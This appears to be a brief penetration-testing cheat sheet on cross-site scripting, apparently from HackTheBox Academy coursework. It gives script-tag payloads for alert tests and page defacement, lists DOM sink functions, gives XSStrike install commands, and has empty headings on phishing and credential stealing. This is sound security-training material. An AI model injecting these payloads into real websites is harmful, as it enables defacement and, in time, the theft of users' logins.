โš”๏ธXSS

XSS Testing Payloads

<script>alert(window.origin)</script>

Stored XSS

Defacing Elements

  • Background Color document.body.style.background

  • Background document.body.background

  • Page Title document.title

  • Page Text DOM.innerHTML

<script>document.body.style.background = "#141d2b"</script>
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
<script>document.title = 'HackTheBox Academy'</script>
document.getElementById("todo").innerHTML = "New Text"
$("#todo").html('New Text');

Source & Sink

JavaScript functions

  • document.write()

  • DOM.innerHTML

  • DOM.outerHTML

jQuery library functions

  • add()

  • after()

  • append()

DOM XSS

XSS Strike

  • git clone https://github.com/s0md3v/XSStrike.git

  • cd XSStrike

  • pip install -r requirements.txt

  • python xsstrike.py

Phishing

Login Form Injection

Credentials Stealing

PHP Listener

Last updated